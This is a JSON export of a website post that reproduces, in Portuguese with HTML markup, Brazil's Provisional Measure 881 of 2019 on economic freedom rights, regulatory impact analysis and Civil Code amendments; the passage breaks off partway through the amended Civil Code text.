{"id":4947,"date":"2019-07-12T16:13:50","date_gmt":"2019-07-12T20:13:50","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=4947"},"modified":"2019-07-12T16:13:50","modified_gmt":"2019-07-12T20:13:50","slug":"medida-provisoria-no-881-de-30-de-abril-de-2019","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/medida-provisoria-no-881-de-30-de-abril-de-2019\/","title":{"rendered":"MEDIDA PROVIS\u00d3RIA N\u00ba 881, DE 30 DE ABRIL DE 2019"},"content":{"rendered":"<p style=\"font-weight: 400;\"><strong><a href=\"http:\/\/legislacao.planalto.gov.br\/legisla\/legislacao.nsf\/Viw_Identificacao\/mpv%20881-2019?OpenDocument\">MEDIDA PROVIS\u00d3RIA N\u00ba 881, DE 30 DE ABRIL DE 2019<\/a><\/strong><\/p>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"51%\"><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2019-2022\/2019\/Exm\/Exm-MP-881-19.pdf\">Exposi\u00e7\u00e3o de motivos<\/a><\/td>\n<td width=\"49%\">Institui a Declara\u00e7\u00e3o de Direitos de Liberdade Econ\u00f4mica, estabelece garantias de livre mercado, an\u00e1lise de impacto regulat\u00f3rio, e d\u00e1 outras provid\u00eancias.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>O PRESIDENTE DA REP\u00daBLICA,\u00a0<\/strong>no uso da atribui\u00e7\u00e3o que lhe confere o art. 62 da Constitui\u00e7\u00e3o, adota a seguinte Medida Provis\u00f3ria, com for\u00e7a de lei:<\/p>\n<p>CAP\u00cdTULO I<\/p>\n<p>DISPOSI\u00c7\u00d5ES PRELIMINARES<\/p>\n<p>Art. 1\u00ba\u00a0 Fica institu\u00edda a Declara\u00e7\u00e3o de Direitos de Liberdade Econ\u00f4mica, que estabelece normas de prote\u00e7\u00e3o \u00e0 livre iniciativa e ao livre exerc\u00edcio de atividade econ\u00f4mica e disposi\u00e7\u00f5es sobre a atua\u00e7\u00e3o do Estado como agente normativo e regulador, nos termos do disposto no\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/Constituicao\/Constituicao.htm#art170%C2%A71iv\">inciso IV do\u00a0<strong>caput\u00a0<\/strong>do art. 1\u00ba, no par\u00e1grafo \u00fanico do art. 170 e no\u00a0<strong>caput\u00a0<\/strong>do art. 174 da Constitui\u00e7\u00e3o<\/a>.<\/p>\n<ul>\n<li>1\u00ba\u00a0 O disposto nesta Medida Provis\u00f3ria ser\u00e1 observado na aplica\u00e7\u00e3o e na interpreta\u00e7\u00e3o de direito civil, empresarial, econ\u00f4mico, urban\u00edstico e do trabalho nas rela\u00e7\u00f5es jur\u00eddicas que se encontrem no seu \u00e2mbito de aplica\u00e7\u00e3o, e na ordena\u00e7\u00e3o p\u00fablica sobre o exerc\u00edcio das profiss\u00f5es, juntas comerciais, produ\u00e7\u00e3o e consumo e prote\u00e7\u00e3o ao meio ambiente.<\/li>\n<li>2\u00ba\u00a0 Ressalvado o disposto no inciso X do<strong>caput<\/strong>do art. 3\u00ba, o disposto no art. 1\u00ba ao art. 4\u00ba n\u00e3o se aplica ao direito tribut\u00e1rio e ao direito financeiro.<\/li>\n<li>3\u00ba\u00a0 O disposto no art. 1\u00ba ao art. 4\u00ba constitui norma geral de direito econ\u00f4mico, conforme o disposto no<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/Constituicao\/Constituicao.htm#art24i\">inciso I do caput<\/a>e<strong>\u00a0<\/strong>nos\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/Constituicao\/Constituicao.htm#art24%C2%A71\">\u00a7 1\u00ba<\/a>\u00a0e\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/Constituicao\/Constituicao.htm#art24%C2%A74\">\u00a7 4\u00ba do art. 24 da Constitui\u00e7\u00e3o<\/a>, e ser\u00e1 observado para todos os atos p\u00fablicos de libera\u00e7\u00e3o da atividade econ\u00f4mica executados pelos Estados, pelo Distrito Federal e pelos Munic\u00edpios, observado o disposto no \u00a7 2\u00ba.<\/li>\n<li>4\u00ba\u00a0 O disposto no inciso IX do<strong>caput<\/strong>do art. 3\u00ba n\u00e3o se aplica aos Estados, ao Distrito Federal e aos Munic\u00edpios, exceto se:<\/li>\n<\/ul>\n<p>I &#8211; o ato p\u00fablico de libera\u00e7\u00e3o da atividade econ\u00f4mica for derivado ou delegado por legisla\u00e7\u00e3o ordin\u00e1ria federal; ou<\/p>\n<p>II &#8211; o ente federativo ou o \u00f3rg\u00e3o respons\u00e1vel pelo ato decidir se vincular ao disposto no inciso IX do\u00a0<strong>caput\u00a0<\/strong>do art. 3\u00ba por meio de instrumento v\u00e1lido e pr\u00f3prio.<\/p>\n<ul>\n<li>5\u00ba\u00a0 Para fins do disposto nesta Medida Provis\u00f3ria, consideram-se atos p\u00fablicos de libera\u00e7\u00e3o da atividade econ\u00f4mica a licen\u00e7a, a autoriza\u00e7\u00e3o, a inscri\u00e7\u00e3o, o registro, o alvar\u00e1 e os demais atos exigidos, com qualquer denomina\u00e7\u00e3o, por \u00f3rg\u00e3o ou entidade da administra\u00e7\u00e3o p\u00fablica na aplica\u00e7\u00e3o de legisla\u00e7\u00e3o, como condi\u00e7\u00e3o pr\u00e9via para o exerc\u00edcio de atividade econ\u00f4mica, inclusive o in\u00edcio, a instala\u00e7\u00e3o, a opera\u00e7\u00e3o, a produ\u00e7\u00e3o, o funcionamento, o uso, o exerc\u00edcio ou a realiza\u00e7\u00e3o, no \u00e2mbito p\u00fablico ou privado, de atividade, servi\u00e7o, estabelecimento, profiss\u00e3o, instala\u00e7\u00e3o, opera\u00e7\u00e3o, produto, equipamento, ve\u00edculo, edifica\u00e7\u00e3o e outros.<\/li>\n<\/ul>\n<p>Art. 2\u00ba\u00a0 S\u00e3o princ\u00edpios que norteiam o disposto nesta Medida Provis\u00f3ria:<\/p>\n<p>I &#8211; a presun\u00e7\u00e3o de liberdade no exerc\u00edcio de atividades econ\u00f4micas;<\/p>\n<p>II &#8211; a presun\u00e7\u00e3o de boa-f\u00e9 do particular; e<\/p>\n<p>III &#8211; a interven\u00e7\u00e3o subsidi\u00e1ria, m\u00ednima e excepcional do Estado sobre o exerc\u00edcio de atividades econ\u00f4micas.<\/p>\n<p>CAP\u00cdTULO II<\/p>\n<p>DA DECLARA\u00c7\u00c3O DE DIREITOS DE LIBERDADE ECON\u00d4MICA<\/p>\n<p>Art. 3\u00ba\u00a0 S\u00e3o direitos de toda pessoa, natural ou jur\u00eddica, essenciais para o desenvolvimento e o crescimento econ\u00f4micos do Pa\u00eds, observado o disposto no par\u00e1grafo \u00fanico do art. 170 da Constitui\u00e7\u00e3o:<\/p>\n<p>I &#8211; desenvolver, para sustento pr\u00f3prio ou de sua fam\u00edlia, atividade econ\u00f4mica de baixo risco, para a qual se valha exclusivamente de propriedade privada pr\u00f3pria ou de terceiros consensuais, sem a necessidade de atos p\u00fablicos de libera\u00e7\u00e3o da atividade econ\u00f4mica;<\/p>\n<p>II &#8211; produzir, empregar e gerar renda, assegurada a liberdade para desenvolver atividade econ\u00f4mica em qualquer hor\u00e1rio ou dia da semana, observadas:<\/p>\n<ol>\n<li>a) as normas de prote\u00e7\u00e3o ao meio ambiente, inclu\u00eddas as de combate \u00e0 polui\u00e7\u00e3o sonora e \u00e0 perturba\u00e7\u00e3o de sossego;<\/li>\n<li>b) as restri\u00e7\u00f5es advindas de obriga\u00e7\u00f5es do direito privado, inclu\u00eddas as situa\u00e7\u00f5es de dom\u00ednio de um determinado bem ou de partes de um bem por mais de uma pessoa simultaneamente;<\/li>\n<li>c) as normas referentes ao direito de vizinhan\u00e7a; e<\/li>\n<li>d) a legisla\u00e7\u00e3o trabalhista;<\/li>\n<\/ol>\n<p>III &#8211; n\u00e3o ter restringida, por qualquer autoridade, sua liberdade de definir o pre\u00e7o de produtos e de servi\u00e7os como consequ\u00eancia de altera\u00e7\u00f5es da oferta e da demanda no mercado n\u00e3o regulado, ressalvadas as situa\u00e7\u00f5es de emerg\u00eancia ou de calamidade p\u00fablica, quando assim declarada pela autoridade competente;<\/p>\n<p>IV &#8211; receber tratamento ison\u00f4mico de \u00f3rg\u00e3os e de entidades da administra\u00e7\u00e3o p\u00fablica quanto ao exerc\u00edcio de atos de libera\u00e7\u00e3o da atividade econ\u00f4mica, hip\u00f3tese em que o ato de libera\u00e7\u00e3o estar\u00e1 vinculado aos mesmos crit\u00e9rios de interpreta\u00e7\u00e3o adotados em decis\u00f5es administrativas an\u00e1logas anteriores, observado o disposto em regulamento;<\/p>\n<p>V &#8211; gozar de presun\u00e7\u00e3o de boa-f\u00e9 nos atos praticados no exerc\u00edcio da atividade econ\u00f4mica, para os quais as d\u00favidas de interpreta\u00e7\u00e3o do direito civil, empresarial, econ\u00f4mico e urban\u00edstico ser\u00e3o resolvidas de forma a preservar a autonomia de sua vontade, exceto se houver expressa disposi\u00e7\u00e3o legal em contr\u00e1rio;<\/p>\n<p>VI &#8211; desenvolver, executar, operar ou comercializar novas modalidades de produtos e de servi\u00e7os quando as normas infralegais se tornarem desatualizadas por for\u00e7a de desenvolvimento tecnol\u00f3gico consolidado internacionalmente, nos termos estabelecidos em regulamento, que disciplinar\u00e1 os requisitos para aferi\u00e7\u00e3o da situa\u00e7\u00e3o concreta, os procedimentos, o momento e as condi\u00e7\u00f5es dos efeitos;<\/p>\n<p>VII &#8211; implementar, testar e oferecer, gratuitamente ou n\u00e3o, um novo produto ou servi\u00e7o para um grupo privado e restrito de pessoas maiores e capazes, que se valer\u00e1 exclusivamente de propriedade privada pr\u00f3pria ou de terceiros consensuais, ap\u00f3s livre e claro consentimento, sem requerimento ou ato p\u00fablico de libera\u00e7\u00e3o da atividade econ\u00f4mica, exceto em hip\u00f3teses de seguran\u00e7a nacional, de seguran\u00e7a p\u00fablica ou sanit\u00e1ria ou de sa\u00fade p\u00fablica, respeitada a legisla\u00e7\u00e3o vigente, inclusive no que diz respeito \u00e0 propriedade intelectual;<\/p>\n<p>VIII &#8211; ter a garantia de que os neg\u00f3cios jur\u00eddicos empresariais ser\u00e3o objeto de livre estipula\u00e7\u00e3o das partes pactuantes, de forma a aplicar todas as regras de direito empresarial apenas de maneira subsidi\u00e1ria ao aven\u00e7ado, hip\u00f3tese em que nenhuma norma de ordem p\u00fablica dessa mat\u00e9ria ser\u00e1 usada para beneficiar a parte que pactuou contra ela, exceto se para resguardar direitos tutelados pela administra\u00e7\u00e3o p\u00fablica ou de terceiros alheios ao contrato;<\/p>\n<p>IX &#8211; ter a garantia de que, nas solicita\u00e7\u00f5es de atos p\u00fablicos de libera\u00e7\u00e3o da atividade econ\u00f4mica que se sujeitam ao disposto nesta Medida Provis\u00f3ria, apresentados todos os elementos necess\u00e1rios \u00e0 instru\u00e7\u00e3o do processo, o particular receber\u00e1 imediatamente um prazo expresso que estipular\u00e1 o tempo m\u00e1ximo para a devida an\u00e1lise de seu pedido e que, transcorrido o prazo fixado, na hip\u00f3tese de sil\u00eancio da autoridade competente, importar\u00e1 em aprova\u00e7\u00e3o t\u00e1cita para todos os efeitos, ressalvadas as hip\u00f3teses expressamente vedadas na lei; e\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2019-2022\/2019\/Mpv\/mpv881.htm#art16\">(Vide)<\/a><\/p>\n<p>X &#8211; arquivar qualquer documento por meio de microfilme ou por meio digital, conforme t\u00e9cnica e requisitos estabelecidos em regulamento, hip\u00f3tese em que se equiparar\u00e1 a documento f\u00edsico para todos os efeitos legais e para a comprova\u00e7\u00e3o de qualquer ato de direito p\u00fablico.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2019-2022\/2019\/Mpv\/mpv881.htm#art17\">(Vide)<\/a><\/p>\n<ul>\n<li>1\u00ba\u00a0 Os direitos de que trata esta Medida Provis\u00f3ria n\u00e3o se aplicam \u00e0s hip\u00f3teses que envolverem seguran\u00e7a nacional, seguran\u00e7a p\u00fablica ou sanit\u00e1ria ou sa\u00fade p\u00fablica, e caber\u00e1, quando solicitada, \u00e0 administra\u00e7\u00e3o p\u00fablica, de forma expressa e excepcional, o \u00f4nus de demonstrar a imperiosidade da restri\u00e7\u00e3o.<\/li>\n<li>2\u00ba\u00a0 Para fins do disposto no inciso I do<strong>caput<\/strong>:<\/li>\n<\/ul>\n<p>I &#8211; ato do Poder Executivo federal dispor\u00e1 sobre a classifica\u00e7\u00e3o de atividades de baixo risco a ser observada na aus\u00eancia de legisla\u00e7\u00e3o estadual, distrital ou municipal espec\u00edfica;<\/p>\n<p>II &#8211; na hip\u00f3tese de aus\u00eancia de ato do Poder Executivo federal de que trata o inciso I do \u00a7 2\u00ba, ser\u00e1 aplicada resolu\u00e7\u00e3o do Comit\u00ea para Gest\u00e3o da Rede Nacional para a Simplifica\u00e7\u00e3o do Registro e da Legaliza\u00e7\u00e3o de Empresas e Neg\u00f3cios &#8211; CGSIM, independentemente da ader\u00eancia do ente federativo \u00e0 Rede Nacional para a Simplifica\u00e7\u00e3o do Registro e da Legaliza\u00e7\u00e3o de Empresas e Neg\u00f3cios &#8211; Redesim; e<\/p>\n<p>III &#8211; na hip\u00f3tese de exist\u00eancia de legisla\u00e7\u00e3o estadual, distrital ou municipal sobre a classifica\u00e7\u00e3o de atividades de baixo risco, o ente federativo que editar ou tiver editado norma espec\u00edfica, encaminhar\u00e1 notifica\u00e7\u00e3o ao Minist\u00e9rio da Economia sobre a edi\u00e7\u00e3o de sua norma.<\/p>\n<ul>\n<li>3\u00ba A fiscaliza\u00e7\u00e3o do exerc\u00edcio do direito de que trata o inciso I do<strong>caput<\/strong>ser\u00e1 realizada posteriormente, de of\u00edcio ou como consequ\u00eancia de den\u00fancia encaminhada \u00e0 autoridade competente.<\/li>\n<li>4\u00ba\u00a0 O disposto no inciso III do<strong>caput<\/strong>n\u00e3o se aplica:<\/li>\n<\/ul>\n<p>I &#8211; \u00e0s situa\u00e7\u00f5es em que o pre\u00e7o de produtos e de servi\u00e7os seja utilizado com a finalidade de reduzir o valor do tributo, de postergar a sua arrecada\u00e7\u00e3o ou de remeter lucros em forma de custos ao exterior; e<\/p>\n<p>II &#8211; \u00e0 legisla\u00e7\u00e3o da defesa da concorr\u00eancia, aos direitos do consumidor e \u00e0s demais disposi\u00e7\u00f5es protegidas por lei.<\/p>\n<ul>\n<li>5\u00ba\u00a0 Para fins do disposto no inciso VII do<strong>caput<\/strong>, entende-se como restrito o grupo de integrantes n\u00e3o superior aos limites espec\u00edficos estabelecidos para a pr\u00e1tica da modalidade de implementa\u00e7\u00e3o, teste ou oferta, conforme estabelecido em Portaria do Secret\u00e1rio Especial de Produtividade, Emprego e Competividade do Minist\u00e9rio da Economia.<\/li>\n<li>6\u00ba O disposto no inciso VIII do<strong>caput<\/strong>n\u00e3o se aplica \u00e0 empresa p\u00fablica e \u00e0 sociedade de economia mista definidas no\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_Ato2015-2018\/2016\/Lei\/L13303.htm#art3\">art. 3\u00ba<\/a>\u00a0e no\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_Ato2015-2018\/2016\/Lei\/L13303.htm#art4\">art. 4\u00ba da Lei n\u00ba 13.303, de 30 de junho de 2016<\/a>.<\/li>\n<li>7\u00ba\u00a0 O disposto no inciso IX do<strong>caput<\/strong>n\u00e3o se aplica quando:<\/li>\n<\/ul>\n<p>I &#8211; versar sobre quest\u00f5es tribut\u00e1rias de qualquer esp\u00e9cie;<\/p>\n<p>II &#8211; versar sobre situa\u00e7\u00f5es, pr\u00e9via e motivadamente, consideradas pelo \u00f3rg\u00e3o ou pela entidade da administra\u00e7\u00e3o p\u00fablica respons\u00e1vel pelo ato de libera\u00e7\u00e3o da atividade econ\u00f4mica como de justific\u00e1vel risco;<\/p>\n<p>III &#8211; a decis\u00e3o importar em compromisso financeiro da administra\u00e7\u00e3o p\u00fablica; e<\/p>\n<p>IV &#8211; houver obje\u00e7\u00e3o expressa em tratado em vigor no Pa\u00eds.<\/p>\n<ul>\n<li>8\u00ba A aprova\u00e7\u00e3o t\u00e1cita prevista no inciso IX do<strong>caput<\/strong>n\u00e3o se aplica quando a titularidade da solicita\u00e7\u00e3o for de agente p\u00fablico ou de seu c\u00f4njuge, companheiro ou parente em linha reta ou colateral, por consanguinidade ou afinidade, at\u00e9 o terceiro grau, dirigida a autoridade administrativa ou pol\u00edtica do pr\u00f3prio \u00f3rg\u00e3o ou entidade da administra\u00e7\u00e3o p\u00fablica em que desenvolva suas atividades funcionais.<\/li>\n<li>9\u00ba\u00a0 Os prazos a que se refere o inciso IX do<strong>caput<\/strong>ser\u00e3o definidos individualmente pelo \u00f3rg\u00e3o ou pela entidade da administra\u00e7\u00e3o p\u00fablica solicitado no momento do pedido, observados os par\u00e2metros uniformes do pr\u00f3prio \u00f3rg\u00e3o ou da entidade e os limites m\u00e1ximos, para as hip\u00f3teses de baixo risco, estabelecidos em regulamento.<\/li>\n<li>10.\u00a0 A previs\u00e3o de prazo individualizado na an\u00e1lise concreta de que trata o inciso IX do<strong>caput<\/strong>n\u00e3o se confunde com as previs\u00f5es gerais acerca de processamento de pedidos de licen\u00e7a, inclu\u00eddos os prazos a que se refere o\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/LCP\/Lcp140.htm\">\u00a7 3\u00ba do art. 14 da Lei Complementar n\u00ba 140, de 8 de dezembro de 2011<\/a>.<\/li>\n<li>11.\u00a0 \u00c9 vedado exercer o direito de que trata o inciso VII do<strong>caput<\/strong>quando a atividade envolver o manuseio de tecnologia e subst\u00e2ncias de uso restrito.<\/li>\n<\/ul>\n<p>CAP\u00cdTULO III<\/p>\n<p>DAS GARANTIAS DE LIVRE INICIATIVA<\/p>\n<p>Art. 4\u00ba\u00a0 \u00c9 dever da administra\u00e7\u00e3o p\u00fablica e dos demais entes que se vinculam ao disposto nesta Medida Provis\u00f3ria, no exerc\u00edcio de regulamenta\u00e7\u00e3o de norma p\u00fablica pertencente \u00e0 legisla\u00e7\u00e3o sobre a qual esta Medida Provis\u00f3ria versa, exceto se em estrito cumprimento a previs\u00e3o expl\u00edcita em lei, evitar o abuso do poder regulat\u00f3rio de maneira a, indevidamente:<\/p>\n<p>I &#8211; criar reserva de mercado ao favorecer, na regula\u00e7\u00e3o, grupo econ\u00f4mico, ou profissional, em preju\u00edzo dos demais concorrentes;<\/p>\n<p>II &#8211; redigir enunciados que impe\u00e7am a entrada de novos competidores nacionais ou estrangeiros no mercado;<\/p>\n<p>III &#8211; criar privil\u00e9gio exclusivo para determinado segmento econ\u00f4mico, que n\u00e3o seja acess\u00edvel aos demais segmentos;<\/p>\n<p>IV &#8211; exigir especifica\u00e7\u00e3o t\u00e9cnica que n\u00e3o seja necess\u00e1ria para atingir o fim desejado;<\/p>\n<p>V &#8211; redigir enunciados que impe\u00e7am ou retardem a inova\u00e7\u00e3o e a ado\u00e7\u00e3o de novas tecnologias, processos ou modelos de neg\u00f3cios, ressalvadas as situa\u00e7\u00f5es consideradas em regulamento como de alto risco;<\/p>\n<p>VI &#8211; aumentar os custos de transa\u00e7\u00e3o sem demonstra\u00e7\u00e3o de benef\u00edcios;<\/p>\n<p>VII &#8211; criar demanda artificial ou compuls\u00f3ria de produto, servi\u00e7o, ou atividade profissional, inclusive de uso de cart\u00f3rios, registros ou cadastros;<\/p>\n<p>VIII &#8211; introduzir limites \u00e0 livre forma\u00e7\u00e3o de sociedades empresariais ou de atividades econ\u00f4micas; e<\/p>\n<p>IX &#8211; restringir o uso e o exerc\u00edcio da publicidade e propaganda sobre um setor econ\u00f4mico, ressalvadas as hip\u00f3teses expressamente vedadas em lei.<\/p>\n<p>CAP\u00cdTULO IV<\/p>\n<p>DA AN\u00c1LISE DE IMPACTO REGULAT\u00d3RIO<\/p>\n<p>Art. 5\u00ba\u00a0 As propostas de edi\u00e7\u00e3o e de altera\u00e7\u00e3o de atos normativos de interesse geral de agentes econ\u00f4micos ou de usu\u00e1rios dos servi\u00e7os prestados, editadas por \u00f3rg\u00e3o ou entidade da administra\u00e7\u00e3o p\u00fablica federal, inclu\u00eddas as autarquias e as funda\u00e7\u00f5es p\u00fablicas, ser\u00e3o precedidas da realiza\u00e7\u00e3o de an\u00e1lise de impacto regulat\u00f3rio, que conter\u00e1 informa\u00e7\u00f5es e dados sobre os poss\u00edveis efeitos do ato normativo para verificar a razoabilidade do seu impacto econ\u00f4mico.<\/p>\n<p>Par\u00e1grafo \u00fanico.\u00a0 Regulamento dispor\u00e1 sobre a data de in\u00edcio da exig\u00eancia de que trata o\u00a0<strong>caput<\/strong>\u00a0e sobre o conte\u00fado, a metodologia da an\u00e1lise de impacto regulat\u00f3rio, sobre os quesitos m\u00ednimos a serem objeto de exame, sobre as hip\u00f3teses em que ser\u00e1 obrigat\u00f3ria sua realiza\u00e7\u00e3o e sobre as hip\u00f3teses em que poder\u00e1 ser dispensada.<\/p>\n<p>CAP\u00cdTULO V<\/p>\n<p>DISPOSI\u00c7\u00d5ES FINAIS<\/p>\n<p>Art. 6\u00ba\u00a0 Fica extinto o Fundo Soberano do Brasil &#8211; FSB, fundo especial de natureza cont\u00e1bil e financeira, vinculado ao Minist\u00e9rio da Economia, criado pela\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_Ato2007-2010\/2008\/Lei\/L11887.htm\">Lei n\u00ba 11.887, de 24 de dezembro de 2008<\/a>.<\/p>\n<p>Art. 7\u00ba\u00a0 A\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm\">Lei n\u00ba 10.406, de 10 de janeiro de 2002<\/a>\u00a0&#8211; C\u00f3digo Civil, passa a vigorar com as seguintes altera\u00e7\u00f5es:<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#art50.\">\u201cArt. 50.<\/a>\u00a0 Em caso de abuso da personalidade jur\u00eddica, caracterizado pelo desvio de finalidade ou pela confus\u00e3o patrimonial, pode o juiz, a requerimento da parte, ou do Minist\u00e9rio P\u00fablico quando lhe couber intervir no processo, desconsider\u00e1-la para que os efeitos de certas e determinadas rela\u00e7\u00f5es de obriga\u00e7\u00f5es sejam estendidos aos bens particulares de administradores ou de s\u00f3cios da pessoa jur\u00eddica beneficiados direta ou indiretamente pelo abuso.<\/p>\n<ul>\n<li>1\u00ba\u00a0 Para fins do disposto neste artigo, desvio de finalidade \u00e9 a utiliza\u00e7\u00e3o dolosa da pessoa jur\u00eddica com o prop\u00f3sito de lesar credores e para a pr\u00e1tica de atos il\u00edcitos de qualquer natureza.<\/li>\n<li>2\u00ba\u00a0 Entende-se por confus\u00e3o patrimonial a aus\u00eancia de separa\u00e7\u00e3o de fato entre os patrim\u00f4nios, caracterizada por:<\/li>\n<\/ul>\n<p>I &#8211; cumprimento repetitivo pela sociedade de obriga\u00e7\u00f5es do s\u00f3cio ou do administrador ou vice-versa;<\/p>\n<p>II &#8211; transfer\u00eancia de ativos ou de passivos sem efetivas contrapresta\u00e7\u00f5es, exceto o de valor proporcionalmente insignificante; e<\/p>\n<p>III &#8211; outros atos de descumprimento da autonomia patrimonial.<\/p>\n<ul>\n<li>3\u00ba\u00a0 O disposto no<strong>caput<\/strong>e nos \u00a7 1\u00ba e \u00a7 2\u00ba tamb\u00e9m se aplica \u00e0 extens\u00e3o das obriga\u00e7\u00f5es de s\u00f3cios ou de administradores \u00e0 pessoa jur\u00eddica.<\/li>\n<li>4\u00ba\u00a0 A mera exist\u00eancia de grupo econ\u00f4mico sem a presen\u00e7a dos requisitos de que trata o<strong>caput<\/strong>n\u00e3o autoriza a desconsidera\u00e7\u00e3o da personalidade da pessoa jur\u00eddica.<\/li>\n<li>5\u00ba\u00a0 N\u00e3o constitui desvio de finalidade a mera expans\u00e3o ou a altera\u00e7\u00e3o da finalidade original da atividade econ\u00f4mica espec\u00edfica da pessoa jur\u00eddica.\u201d (NR)<\/li>\n<\/ul>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#art421.\">\u201cArt. 421.<\/a>\u00a0 A liberdade de contratar ser\u00e1 exercida em raz\u00e3o e nos limites da fun\u00e7\u00e3o social do contrato, observado o disposto na Declara\u00e7\u00e3o de Direitos de Liberdade Econ\u00f4mica.<\/p>\n<p>Par\u00e1grafo \u00fanico.\u00a0 Nas rela\u00e7\u00f5es contratuais privadas, prevalecer\u00e1 o princ\u00edpio da interven\u00e7\u00e3o m\u00ednima do Estado, por qualquer dos seus poderes, e a revis\u00e3o contratual determinada de forma externa \u00e0s partes ser\u00e1 excepcional.\u201d (NR)<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#art423.\">\u201cArt. 423.<\/a>\u00a0 Quando houver no contrato de ades\u00e3o cl\u00e1usulas que gerem d\u00favida quanto \u00e0 sua interpreta\u00e7\u00e3o, ser\u00e1 adotada a mais favor\u00e1vel ao aderente.<\/p>\n<p>Par\u00e1grafo \u00fanico.\u00a0 Nos contratos n\u00e3o atingidos pelo disposto no\u00a0<strong>caput<\/strong>, exceto se houver disposi\u00e7\u00e3o espec\u00edfica em lei, a d\u00favida na interpreta\u00e7\u00e3o beneficia a parte que n\u00e3o redigiu a cl\u00e1usula controvertida.\u201d (NR)<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#art480a\">\u201cArt. 480-A.<\/a>\u00a0 Nas rela\u00e7\u00f5es interempresariais, \u00e9 licito \u00e0s partes contratantes estabelecer par\u00e2metros objetivos para a interpreta\u00e7\u00e3o de requisitos de revis\u00e3o ou de resolu\u00e7\u00e3o do pacto contratual.\u201d (NR)<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#art480b\">\u201cArt. 480-B.<\/a>\u00a0 Nas rela\u00e7\u00f5es interempresariais, deve-se presumir a simetria dos contratantes e observar a aloca\u00e7\u00e3o de riscos por eles definida.\u201d (NR)<\/p>\n<p>\u201cArt. 980-A.\u00a0 &#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#art980a%C2%A77\">\u201c\u00a7 7\u00ba\u00a0<\/a>\u00a0Somente o patrim\u00f4nio social da empresa responder\u00e1 pelas d\u00edvidas da empresa individual de responsabilidade limitada, hip\u00f3tese em que n\u00e3o se confundir\u00e1, em qualquer situa\u00e7\u00e3o, com o patrim\u00f4nio do titular que a constitui, ressalvados os casos de fraude.\u201d<\/p>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.\u201d (NR)<\/p>\n<p>\u201cArt. 1.052. &#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#art1052p\">Par\u00e1grafo \u00fanico.<\/a>\u00a0 A sociedade limitada pode ser constitu\u00edda por uma ou mais pessoas, hip\u00f3tese em que se aplicar\u00e3o ao documento de constitui\u00e7\u00e3o do s\u00f3cio \u00fanico, no que couber, as disposi\u00e7\u00f5es sobre o contrato social.\u201d (NR)<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#parteespeciallivroiii.\">\u201cLIVRO III<\/a><\/p>\n<p>Do Direito das Coisas<\/p>\n<p>\u2026\u2026\u2026\u2026&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#parteespeciallivroiiitituloiiicapituloix.\">CAP\u00cdTULO IX<\/a><\/p>\n<p>Da Propriedade 